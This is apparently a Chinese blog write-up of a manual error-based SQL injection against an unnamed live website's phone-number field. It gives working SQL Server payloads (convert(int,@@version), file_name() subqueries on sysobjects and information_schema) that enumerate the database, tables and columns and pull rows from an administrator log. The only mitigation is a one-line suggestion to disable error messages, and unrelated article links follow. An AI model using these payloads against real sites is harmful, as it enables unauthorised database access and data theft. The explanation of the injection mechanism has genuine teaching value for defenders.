实战记录之SQL server报错手工注入
前言
最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是。在这里记录一下实战过程,并详细讲解一下用到的知识点。
SQL server报错注入原理
SQL server报错注入的文章,网上有很多,大部分文章都列出了类似于公式的句子,却没有解释为什么使用这样的函数。这里用convert()
函数举例,convert()
函数是是将日期转换为新数据类型的通用函数。
对于咱们构造的payloadconvert(int,@@version)
,convert函数会先执行第二个参数指定的sql查询,并尝试转化为int类型,因为查询的结果是varchar类型,所以会转化失败报错,报错的信息当中有咱们需要的信息。
满足这样条件的函数很多,如:
convert() file_name() db_name() col_name()
还有一些其他的不列举了。
发现注入点
之前猜测是SQL server数据库,现在验证一下,发现在输入手机号的地方存在注入点,用sqlmap跑了一下没跑出来,尴尬==,那就尝试手工注入。构造payloadconvert(int,@@version)
,目的是查询一下版本信息。
发现是SQL server数据库
查询基本信息
知道了版本,还需要查询一下数据库名,和当前用户名(看看拥有多少权限)。
payload:
convert(int,db_name()) convert(int,user)
获取表名
这里遇到了一点小问题,继续使用convert()函数时,发现查询的内容溢出了整数列。
这可如何是好,convert()无法使用了,所以咱们前面总结的实现相同功能的函数就派上用场了。这里更换函数,使用file_name()
函数,构造payload:
(file_name((select%20 top 1 name from 库名.sys.sysobjects where xtype='U')))
可以查询出第一张表,这时候可以在后面加一个条件语句and name !='上一个表名'
,可以查询出第二张表。
payload:
(file_name((select%20 top 1 name from 库名.sys.sysobjects where xtype='U'and name !='上一个表名')))
如果想要查询第三张表,再接着添加条件语句就可以了,可以查询出所有的表。这里就不演示了。
获取列名
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制表名 as varchar))))
我们获取到了第一个列名"编号",接下来依然再后面添加条件语句and COLUMN_NAME != '上一个列名'
就可以获取到第二个列名。
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制表名 as varchar) and COLUMN_NAME != '上一个列名')))
按照这种方法同样可以查询出所有列名。这里就不向下查询了。
获取数据
前面我们查询到的表名有 S票据打印记录``管理员操作记录
而我们获取了管理员操作记录下的列名编号
和管理员编号
和操作内容
,下面我们查询操作内容
下的数据。
payload:
(select top 1 列名 from 表名)
依然可以通过条件语句获取到其他的数据,这里就不在演示了。
SQL server报错注入到此为止。
修复方案
关闭错误提示
实战记录之SQL server报错手工注入的更多相关文章
- 安装SQl Server 报错 "需要 Microsoft.NET Framework 3.5 ServicePack 1" 解决方法
前言 之前装Sql Server都没遇到过这样的问题, 昨天重装了系统之后, 然后安装SQl Server 报错,提示 "需要 Microsoft.NET Framework 3.5 Ser ...
- Python 学习笔记:Python 连接 SQL Server 报错(20009, b'DB-Lib error message 20009, severity 9)
问题及场景: 最近需要使用 Python 将数据写到 SQL Server 数据库,但是在进行数据库连接操作时却报以下错误:(20009, b'DB-Lib error message 20009, ...
- sql server 报错处理
1.错误:针对程序集 'StoreProc' 的 CREATE ASSEMBLY 失败,因为程序集 'StoreProc' 未获授权,不满足 PERMISSION_SET = UNSAFE.满足以下两 ...
- SQL语句报错(一)
SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...
- mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg
mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg ...
- 报错记录(xml抬头报错)
报错记录(xml抬头报错) Referenced file contains errors (http://www.springframework.org/schema/beans/spring-be ...
- npm run server报错
从git上clone的vue项目npm install后npm run server报错 $ npm run dev > lufei@1.0.0 dev E:\pythonProject\luf ...
- 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题
刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...
- sql注入--基于报错的注入
这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...
随机推荐
- PAT 1010 Radix (25分) radix取值无限制,二分法提高效率
题目 Given a pair of positive integers, for example, 6 and 110, can this equation 6 = 110 be true? The ...
- 【雕爷学编程】Arduino动手做(55)--DHT11温湿度传感器
37款传感器与模块的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止37种的.鉴于本人手头积累了一些传感器和模块,依照实践(动手试试)出真知的理念,以学习和交流为目的,这里准备 ...
- 关于MYSQL 和INNODB的逻辑关系图。最好的理解是一点点动手做,观察,记录,思考。
每隔0.1秒就刷一次MYSQL文件的变化,并闪动标示出来,以观察SQL执行时,MYSQL的处理顺序. watch -n 0.1 -d stat /var/lib/mysql/ib_logfile0 / ...
- Django中的事务与ajax
一 事务与锁 1.行级锁 行级锁是由存储引擎实现的.如mysql里默认指定的InnoDB存储引擎,由它实现行级锁.InnoDB的行级锁定同样分为两种类型,共享锁(X)和排他锁(S). 对于UPDATE ...
- 基于Hdl Coder实现卡尔曼滤波算法
总所周知,FPGA极其不擅长复杂算法的运算,但是如果项目中又涉及一些高级算法的实现,在没有可封装IP核调用的形式下,我们应该如何进行程序开发呢?今夕已经是2020年,我们一味依赖于用verilog写代 ...
- HDU6440 Dream
题目链接:https://vjudge.net/problem/HDU-6440 知识点: 构造.费马小定理 题目大意: 给定一个素数 $p$,要求定义一个加法运算表和一个乘法运算表,尺寸都为 $p ...
- (STL初步)不定长数组:vector
STL是指C++的标准模板库.(存储着一些常用的算法和容器) vector是一个不定长数组.它把一些常用的操作”封装“在vector类型内部. 例如,a是一个vector.1对元素的操作有,可以用a. ...
- #442-Find All Duplicates in an Array-数组中重复的数字
一.题目 给定一个整数数组 a,其中1 ≤ a[i] ≤ n (n为数组长度), 其中有些元素出现两次而其他元素出现一次. 找到所有出现两次的元素. 你可以不用到任何额外空间并在O(n)时间复杂度内解 ...
- Ajax用法查询
1)$.get(url, [data], [callback], [type]) 2)$.post(url, [data], [callback], [type]) 其中: url:代表请求的服务器端 ...
- protected和private的区别
1. protected和private在没有继承关系的类A和类B之间其作用都可以视为式一样的--表示私有--每个类中的protected字段/属性都不能被访问到: 2. 当类与类之间存在继承关系时候 ...